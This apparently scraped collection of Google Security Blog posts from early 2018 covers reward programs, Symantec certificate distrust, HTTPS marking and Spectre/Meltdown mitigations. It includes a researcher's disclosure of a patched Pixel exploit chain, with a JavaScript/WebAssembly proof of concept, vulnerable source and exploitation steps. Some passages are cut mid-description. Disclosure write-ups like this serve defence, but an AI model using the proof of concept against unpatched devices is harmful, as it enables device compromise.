ransomware.Openness makes Android security strongerWe’ve long said it, but it remains truer than ever: Android’s openness helps strengthen our security protections. For years, the Android ecosystem has benefitted from researchers’ findings, and 2017 was no different.Security reward programsWe continued to see great momentum with our Android Security Rewards program: we paid researchers $1.28 million dollars, pushing our total rewards past $2 million dollars since the program began. We also increased our top-line payouts for exploits that compromise TrustZone or Verified Boot from $50,000 to $200,000, and remote kernel exploits from $30,000 to $150,000.In parallel, we introduced Google Play Security Rewards Program and offered a bonus bounty to developers that discover and disclose select critical vulnerabilities in apps hosted on Play to their developers.External security competitionsOur teams also participated in external vulnerability discovery and disclosure competitions, such as Mobile Pwn2Own. At the 2017 Mobile Pwn2Own competition, no exploits successfully compromised the Google Pixel. And of the exploits demonstrated against devices running Android, none could be reproduced on a device running unmodified Android source code from the Android Open Source Project (AOSP).We’re pleased to see the positive momentum behind Android security, and we’ll continue our work to improve our protections this year, and beyond. We will never stop our work to ensure the security of Android users.

Distrust of the Symantec PKI: Immediate action needed by site operators

Wednesday March 7th, 2018 11:26:59 PM
Posted by Devon O’Brien, Ryan Sleevi, Emily Stark, Chrome security teamWe previously announced plans to deprecate Chrome’s trust in the Symantec certificate authority (including Symantec-owned brands like Thawte, VeriSign, Equifax, GeoTrust, and RapidSSL). This post outlines how site operators can determine if they’re affected by this deprecation, and if so, what needs to be done and by when. Failure to replace these certificates will result in site breakage in upcoming versions of major browsers, including Chrome.Chrome 66If your site is using a SSL/TLS certificate from Symantec that was issued before June 1, 2016, it will stop functioning in Chrome 66, which could already be impacting your users.If you are uncertain about whether your site is using such a certificate, you can preview these changes in Chrome Canary to see if your site is affected. If connecting to your site displays a certificate error or a warning in DevTools as shown below, you’ll need to replace your certificate. You can get a new certificate from any trusted CA, including Digicert, which recently acquired Symantec’s CA business.An example of a certificate error that Chrome 66 users might see if you are using a Legacy Symantec SSL/TLS certificate that was issued before June 1, 2016. The DevTools message you will see if you need to replace your certificate before Chrome 66.Chrome 66 has already been released to the Canary and Dev channels, meaning affected sites are already impacting users of these Chrome channels. If affected sites do not replace their certificates by March 15, 2018, Chrome Beta users will begin experiencing the failures as well. You are strongly encouraged to replace your certificate as soon as possible if your site is currently showing an error in Chrome Canary.Chrome 70Starting in Chrome 70, all remaining Symantec SSL/TLS certificates will stop working, resulting in a certificate error like the one shown above. To check if your certificate will be affected, visit your site in Chrome today and open up DevTools. You’ll see a message in the console telling you if you need to replace your certificate.The DevTools message you will see if you need to replace your certificate before Chrome 70.If you see this message in DevTools, you’ll want to replace your certificate as soon as possible. If the certificates are not replaced, users will begin seeing certificate errors on your site as early as July 20, 2018. The first Chrome 70 Beta release will be around September 13, 2018.Expected Chrome Release TimelineThe table below shows the First Canary, First Beta and Stable Release for Chrome 66 and 70. The first impact from a given release will coincide with the First Canary, reaching a steadily widening audience as the release hits Beta and then ultimately Stable. Site operators are strongly encouraged to make the necessary changes to their sites before the First Canary release for Chrome 66 and 70, and no later than the corresponding Beta release dates.ReleaseFirst CanaryFirst BetaStable ReleaseChrome 66January 20, 2018~ March 15, 2018~ April 17, 2018Chrome 70~ July 20, 2018~ September 13, 2018~ October 16, 2018For information about the release timeline for a particular version of Chrome, you can also refer to the Chromium Development Calendar which will be updated should release schedules change.In order to address the needs of certain enterprise users, Chrome will also implement an Enterprise Policy that allows disabling the Legacy Symantec PKI distrust starting with Chrome 66. As of January 1, 2019, this policy will no longer be available and the Legacy Symantec PKI will be distrusted for all users.Special Mention: Chrome 65As noted in the previous announcement, SSL/TLS certificates from the Legacy Symantec PKI issued after December 1, 2017 are no longer trusted. This should not affect most site operators, as it requires entering in to special agreement with DigiCert to obtain such certificates. Accessing a site serving such a certificate will fail and the request will be blocked as of Chrome 65. To avoid such errors, ensure that such certificates are only served to legacy devices and not to browsers such as Chrome.

A secure web is here to stay

Thursday February 8th, 2018 08:05:23 PM
Posted by Emily Schechter, Chrome Security Product ManagerFor the past several years, we’ve moved toward a more secure web by strongly advocating that sites adopt HTTPS encryption. And within the last year, we’ve also helped users understand that HTTP sites are not secure by gradually marking a larger subset of HTTP pages as “not secure”. Beginning in July 2018 with the release of Chrome 68, Chrome will mark all HTTP sites as “not secure”.In Chrome 68, the omnibox will display “Not secure” for all HTTP pages.Developers have been transitioning their sites to HTTPS and making the web safer for everyone. Progress last year was incredible, and it’s continued since then:Over 68% of Chrome traffic on both Android and Windows is now protectedOver 78% of Chrome traffic on both Chrome OS and Mac is now protected81 of the top 100 sites on the web use HTTPS by defaultChrome is dedicated to making it as easy as possible to set up HTTPS. Mixed content audits are now available to help developers migrate their sites to HTTPS in the latest Node CLI version of Lighthouse, an automated tool for improving web pages. The new audit in Lighthouse helps developers find which resources a site loads using HTTP, and which of those are ready to be upgraded to HTTPS simply by changing the subresource reference to the HTTPS version.Lighthouse is an automated developer tool for improving web pages.Chrome’s new interface will help users understand that all HTTP sites are not secure, and continue to move the web towards a secure HTTPS web by default. HTTPS is easier and cheaper than ever before, and it unlocks both performance improvements and powerful new features that are too sensitive for HTTP. Developers, check out our set-up guides to get started.

Vulnerability Reward Program: 2017 Year in Review

Wednesday February 7th, 2018 09:00:35 PM
Posted by Jan Keller, Google VRP Technical Pwning MasterAs we kick-off a new year, we wanted to take a moment to look back at the Vulnerability Reward Program in 2017. It joins our past retrospectives for 2014, 2015, and 2016, and shows the course our VRPs have taken.At the heart of this blog post is a big thank you to the security research community. You continue to help make Google’s users and our products more secure. We looking forward to continuing our collaboration with the community in 2018 and beyond!2017, By the NumbersHere’s an overview of how we rewarded researchers for their reports to us in 2017:We awarded researchers more than 1 million dollars for vulnerabilities they found and reported in Google products, and a similar amount for Android as well. Combined with our Chrome awards, we awarded nearly 3 million dollars to researchers for their reports last year, overall.Drilling-down a bit further, we awarded $125,000 to more than 50 security researchers from all around the world through our Vulnerability Research Grants Program, and $50,000 to the hard-working folks who improve the security of open-source software as part of our Patch Rewards Program.A few bug highlightsEvery year, a few bug reports stand out: the research may have been especially clever, the vulnerability may have been especially serious, or the report may have been especially fun and quirky!Here are a few of our favorites from 2017:In August, researcher Guang Gong outlined an exploit chain on Pixel phones which combined a remote code execution bug in the sandboxed Chrome render process with a subsequent sandbox escape through Android’s libgralloc. As part of the Android Security Rewards Program he received the largest reward of the year: $112,500. The Pixel was the only device that wasn’t exploited during last year’s annual Mobile pwn2own competition, and Guang’s report helped strengthen its protections even further.Researcher "gzobqq" received the $100,000 pwnium award for a chain of bugs across five components that achieved remote code execution in Chrome OS guest mode.Alex Birsan discovered that anyone could have gained access to internal Google Issue Tracker data. He detailed his research here, and we awarded him $15,600 for his efforts.Making Android and Play even saferOver the course of the year, we continued to develop our Android and Play Security Reward programs.No one had claimed the top reward for an Android exploit chain in more than two years, so we announced that the greatest reward for a remote exploit chain--or exploit leading to TrustZone or Verified Boot compromise--would increase from $50,000 to $200,000. We also increased the top-end reward for a remote kernel exploit from $30,000 to $150,000.In October, we introduced the by-invitation-only Google Play Security Reward Program to encourage security research into popular Android apps available on Google Play.Today, we’re expanding the range of rewards for remote code executions from $1,000 to $5,000. We’re also introducing a new category that includes vulnerabilities that could result in the theft of users’ private data, information being transferred unencrypted, or bugs that result in access to protected app components. We’ll award $1,000 for these bugs. For more information visit the Google Play Security Reward Program site.And finally, we want to give a shout out to the researchers who’ve submitted fuzzers to the Chrome Fuzzer Program: they get rewards for every eligible bug their fuzzers find without having to do any more work, or even filing a bug.Given how well things have been going these past years, we look forward to our Vulnerability Rewards Programs resulting in even more user protection in 2018 thanks to the hard work of the security research community.* Andrew Whalley (Chrome VRP), Mayank Jain (Android Security Rewards), and Renu Chaudhary (Google Play VRP) contributed mightily to help lead these Google-wide efforts.

Announcing turndown of the deprecated Google Safe Browsing APIs

Wednesday January 24th, 2018 10:22:38 PM
Posted by Alex Wozniak, Software Engineer, Safe Browsing TeamIn May 2016, we introduced the latest version of the Google Safe Browsing API (v4). Since this launch, thousands of developers around the world have adopted the API to protect over 3 billion devices from unsafe web resources.Coupled with that announcement was the deprecation of legacy Safe Browsing APIs, v2 and v3. Today we are announcing an official turn-down date of October 1st, 2018, for these APIs. All v2 and v3 clients must transition to the v4 API prior to this date.To make the switch easier, an open source implementation of the Update API (v4) is available on GitHub. Android developers always get the latest version of Safe Browsing’s data and protocols via the SafetyNet Safe Browsing API. Getting started is simple; all you need is a Google Account, Google Developer Console project, and an API key.For questions or feedback, join the discussion with other developers on the Safe Browsing Google Group. Visit our website for the latest information on Safe Browsing.

Android Security Ecosystem Investments Pay Dividends for Pixel

Thursday January 18th, 2018 06:26:18 PM
Posted by Mayank Jain and Scott Roberts, Android security team[Cross-posted from the Android Developers Blog]In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues. All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation. The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University. The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.Technical details of a Pixel remote exploit chainThe Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process. This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). The RCE bug (CVE-2017-5116)New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access. The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time. i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { ...... } else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); } ...... return i::wasm::ModuleWireBytes(start, start + length);}A simple PoC is as follows: <html><h1>poc</h1><script id="worker1">worker:{ self.onmessage = function(arg) { console.log("worker started"); var ta = new Uint8Array(; var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //--->4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } }}</script><script>function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; }var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" })var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web workervar sta = getSharedTypedArray();worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web workersetTimeout(function(){ while(1){ try{ sta[51]=0; var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code var myInstance = new WebAssembly.Instance(myModule); //myInstance.exports.getAnswerPlus1(); }catch(e){ } } },1000);//worker.terminate(); </script></html>The text format of the WebAssembly code is as follows: 00002b func[0]:00002d: 41 2a | i32.const 4200002f: 0b | end000030 func[1]:000032: 10 00 | call 0000034: 41 01 | i32.const 1000036: 6a | i32.add000037: 0b | endFirst, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread's bound check, the instruction " call 0" can be modified by the worker thread to "call 128" and then be parsed and compiled by the main thread, so an OOB access occurs. Because the "call 0" Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If "call 0" is modified to "call $leak", registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked. (func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.const 4 get_local 1 i32.const 8 get_local 2 i32.const 12 get_local 3 i32.const 16 get_local 4 i32.const 20 get_local 5 i32.const 0 ))Not only the instruction "call 0" can be modified, any "call funcx" instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript: /*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add)/*Disassembly code of funcx*/--- Code ---kind = WASM_FUNCTIONname = wasm#1compiler = turbofanInstructions (size = 20)0x58f87600 0 8b442404 mov eax,[esp+0x4]0x58f87604 4 03c6 add eax,esi0x58f87606 6 c20400 ret 0x40x58f87609 9 0f1f00 nopSafepoints (size = 8)RelocInfo (size = 0)--- End code ---When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack.

So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows: /* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer's properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode. Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit. The EoP Bug (CVE-2017-14904)The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap: static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle){ …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else { err = -EACCES;}…… return err;}gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome's sandboxed process, so it's possible to unmap any pages in system_server from Chrome's sandboxed render process. static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle){ …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0;}…… return 0;}int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer{ int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err;}Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services. 52neverallow isolated_app {53 service_manager_type54 -activity_service55 -display_service56 -webviewupdate_service57}:service_manager find;To trigger the aforementioned Use-After-Unmap bug from Chrome's sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered. This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome's Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. To exploit this EoP bug: 1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping: 7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc]7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted)7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted)7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted)7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted)7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)......2.

Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome's render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module's base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven't been used. It's impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP. typedef struct android_native_base_t{ /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved[4]; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base);} android_native_base_t;6.Trigger a GC to execute ROP When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf . SummaryThe Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities. The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort. .com { color: #32CD32; font-weight: bold; }

More details about mitigations for the CPU Speculative Execution issue

Thursday January 4th, 2018 09:35:32 PM
Posted by Matt Linton, Senior Security Engineer and Pat Parseghian, Technical Program ManagerYesterday, Google’s Project Zero team posted detailed technical information on three variants of a new security issue involving speculative execution on many modern CPUs. Today, we’d like to share some more information about our mitigations and performance.In response to the vulnerabilities that were discovered we developed a novel mitigation called “Retpoline” -- a binary modification technique that protects against “branch target injection” attacks. We shared Retpoline with our industry partners and have deployed it on Google’s systems, where we have observed negligible impact on performance.In addition, we have deployed Kernel Page Table Isolation (KPTI) -- a general purpose technique for better protecting sensitive information in memory from other software running on a machine -- to the entire fleet of Google Linux production servers that support all of our products, including Search, Gmail, YouTube, and Google Cloud Platform.There has been speculation that the deployment of KPTI causes significant performance slowdowns. Performance can vary, as the impact of the KPTI mitigations depends on the rate of system calls made by an application. On most of our workloads, including our cloud infrastructure, we see negligible impact on performance.In our own testing, we have found that microbenchmarks can show an exaggerated impact. Of course, Google recommends thorough testing in your environment before deployment; we cannot guarantee any particular performance or operational impact.Speculative Execution and the Three Methods of AttackIn addition, to follow up on yesterday’s post, today we’re providing a summary of speculative execution and how each of the three variants work.In order to improve performance, many CPUs may choose to speculatively execute instructions based on assumptions that are considered likely to be true. During speculative execution, the processor is verifying these assumptions; if they are valid, then the execution continues. If they are invalid, then the execution is unwound, and the correct execution path can be started based on the actual conditions. It is possible for this speculative execution to have side effects which are not restored when the CPU state is unwound, and can lead to information disclosure.Project Zero discussed three variants of speculative execution attack. There is no single fix for all three attack variants; each requires protection independently.Variant 1 (CVE-2017-5753), “bounds check bypass.” This vulnerability affects specific sequences within compiled applications, which must be addressed on a per-binary basis.Variant 2 (CVE-2017-5715), “branch target injection”. This variant may either be fixed by a CPU microcode update from the CPU vendor, or by applying a software mitigation technique called “Retpoline” to binaries where concern about information leakage is present. This mitigation may be applied to the operating system kernel, system programs and libraries, and individual software programs, as needed.Variant 3 (CVE-2017-5754), “rogue data cache load.” This may require patching the system’s operating system. For Linux there is a patchset called KPTI (Kernel Page Table Isolation) that helps mitigate Variant 3. Other operating systems may implement similar protections - check with your vendor for specifics.SummaryMitigationVariant 1: bounds check bypass (CVE-2017-5753)This attack variant allows malicious code to circumvent bounds checking features built into most binaries. Even though the bounds checks will still fail, the CPU will speculatively execute instructions after the bounds checks, which can access memory that the code could not normally access. When the CPU determines the bounds check has failed, it discards any work that was done speculatively; however, some changes to the system can be still observed (in particular, changes to the state of the CPU caches). The malicious code can detect these changes and read the data that was speculatively accessed.The primary ramification of Variant 1 is that it is difficult for a system to run untrusted code within a process and restrict what memory within the process the untrusted code can access.In the kernel, this has implications for systems such as the extended Berkeley Packet Filter (eBPF) that takes packet filterers from user space code, just-in-time (JIT) compiles the packet filter code, and runs the packet filter within the context of kernel. The JIT compiler uses bounds checking to limit the memory the packet filter can access, however, Variant 1 allows an attacker to use speculation to circumvent these limitations.Mitigation requires analysis and recompilation so that vulnerable binary code is not emitted. Examples of targets which may require patching include the operating system and applications which execute untrusted code.Variant 2: branch target injection (CVE-2017-5715)This attack variant uses the ability of one process to influence the speculative execution behavior of code in another security context (i.e., guest/host mode, CPU ring, or process) running on the same physical CPU core.Modern processors predict the destination for indirect jumps and calls that a program may take and start speculatively executing code at the predicted location. The tables used to drive prediction are shared between processes running on a physical CPU core, and it is possible for one process to pollute the branch prediction tables to influence the branch prediction of another process or kernel code.In this way, an attacker can cause speculative execution of any mapped code in another process, in the hypervisor, or in the kernel, and potentially read data from the other protection domain using techniques like Variant 1. This variant is difficult to use, but has great potential power as it crosses arbitrary protection domains.Mitigating this attack variant requires either installing and enabling a CPU microcode update from the CPU vendor (e.g., Intel's IBRS microcode), or applying a software mitigation (e.g., Google's Retpoline) to the hypervisor, operating system kernel, system programs and libraries, and user applications.Variant 3: rogue data cache load (CVE-2017-5754)This attack variant allows a user mode process to access virtual memory as if the process was in kernel mode. On some processors, the speculative execution of code can access memory that is not typically visible to the current execution mode of the processor; i.e., a user mode program may speculatively access memory as if it were running in kernel mode.Using the techniques of Variant 1, a process can observe the memory that was accessed speculatively. On most operating systems today, the page table that a process uses includes access to most physical memory on the system, however access to such memory is limited to when the process is running in kernel mode. Variant 3 enables access to such memory even in user mode, violating the protections of the hardware.Mitigating this attack variant requires patching the operating system. For Linux, the patchset that mitigates Variant 3 is called Kernel Page Table Isolation (KPTI). Other operating systems/providers should implement similar mitigations.Mitigations for Google productsYou can learn more about mitigations that have been applied to Google’s infrastructure, products, and services here.

Today's CPU vulnerability: what you need to know

Thursday January 4th, 2018 12:10:59 AM
Posted by Matt Linton, Senior Security Engineer and Pat Parseghian, Technical Program Manager[Google Cloud, G Suite, and Chrome customers can visit the Google Cloud blog for details about those products][For more technical details about this issue, please read Project Zero's blog post]Last year, Google’s Project Zero team discovered serious security flaws caused by “speculative execution,” a technique used by most modern processors (CPUs) to optimize performance.The Project Zero researcher, Jann Horn, demonstrated that malicious actors could take advantage of speculative execution to read system memory that should have been inaccessible. For example, an unauthorized party may read sensitive information in the system’s memory such as passwords, encryption keys, or sensitive information open in applications. Testing also showed that an attack running on one virtual machine was able to access the physical memory of the host machine, and through that, gain read-access to the memory of a different virtual machine on the same host.These vulnerabilities affect many CPUs, including those from AMD, ARM, and Intel, as well as the devices and operating systems running on them.As soon as we learned of this new class of attack, our security and product development teams mobilized to defend Google’s systems and our users’ data. We have updated our systems and affected products to protect against this new type of attack. We also collaborated with hardware and software manufacturers across the industry to help protect their users and the broader web. These efforts have included collaborative analysis and the development of novel mitigations.We are posting before an originally coordinated disclosure date of January 9, 2018 because of existing public reports and growing speculation in the press and security research community about the issue, which raises the risk of exploitation. The full Project Zero report is forthcoming (update: this has been published; see above).Mitigation status for Google productsA list of affected Google products and their current status of mitigation against this attack appears here. As this is a new class of attack, our patch status refers to our mitigation for currently known vectors for exploiting the flaw. The issue has been mitigated in many products (or wasn’t a vulnerability in the first place). In some instances, users and customers may need to take additional steps to ensure they’re using a protected version of a product. This list and a product’s status may change as new developments warrant. In the case of new developments, we will post updates to this blog.All Google products not explicitly listed below require no user or customer action.AndroidDevices with the latest security update are protected. Furthermore, we are unaware of any successful reproduction of this vulnerability that would allow unauthorized information disclosure on ARM-based Android devices.Supported Nexus and Pixel devices with the latest security update are protected.Further information is available here.Google Apps / G Suite (Gmail, Calendar, Drive, Sites, etc.):No additional user or customer action needed.Google ChromeSome user or customer action needed. More information here.Google Chrome OS (e.g., Chromebooks):Some additional user or customer action needed. More information here.Google Cloud PlatformGoogle App Engine: No additional customer action needed.Google Compute Engine: Some additional customer action needed. More information here.Google Kubernetes Engine: Some additional customer action needed. More information here.Google Cloud Dataflow: Some additional customer action needed. More information here.Google Cloud Dataproc: Some additional customer action needed. More information here. All other Google Cloud products and services: No additional action needed.Google Home / Chromecast:No additional user action needed.Google Wifi/OnHub:No additional user action needed.Multiple methods of attackTo take advantage of this vulnerability, an attacker first must be able to run malicious code on the targeted system.The Project Zero researchers discovered three methods (variants) of attack, which are effective under different conditions. All three attack variants can allow a process with normal user privileges to perform unauthorized reads of memory data, which may contain sensitive information such as passwords, cryptographic key material, etc.In order to improve performance, many CPUs may choose to speculatively execute instructions based on assumptions that are considered likely to be true. During speculative execution, the processor is verifying these assumptions; if they are valid, then the execution continues. If they are invalid, then the execution is unwound, and the correct execution path can be started based on the actual conditions. It is possible for this speculative execution to have side effects which are not restored when the CPU state is unwound, and can lead to information disclosure.There is no single fix for all three attack variants; each requires protection independently. Many vendors have patches available for one or more of these attacks.We will continue our work to mitigate these vulnerabilities and will update both our product support page and this blog post as we release further fixes. More broadly, we appreciate the support and involvement of all the partners and Google engineers who worked tirelessly over the last few months to make our users and customers safe.Blog post update logAdded link to Project Zero 